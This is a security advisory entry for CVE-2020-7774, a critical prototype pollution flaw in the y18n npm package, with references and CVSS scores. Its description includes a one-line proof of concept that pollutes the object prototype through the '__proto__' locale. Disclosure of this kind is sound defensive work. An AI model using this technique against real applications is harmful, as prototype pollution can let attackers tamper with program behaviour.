CVE-2020-7774critical
Description
This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
References
https://github.com/yargs/y18n/issues/96
https://github.com/yargs/y18n/pull/108
https://snyk.io/vuln/SNYK-JS-Y18N-1021887
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306
https://www.oracle.com/security-alerts/cpuApr2021.html
https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf
Details
Source: MITRE
Published: 2020-11-17
Updated: 2022-04-19
Type: CWE-915
Risk Information
CVSS v2
Base Score: 7.5
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P
Impact Score: 6.4
Exploitability Score: 10
Severity: HIGH
CVSS v3
Base Score: 9.8
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Impact Score: 5.9
Exploitability Score: 3.9
Severity: CRITICAL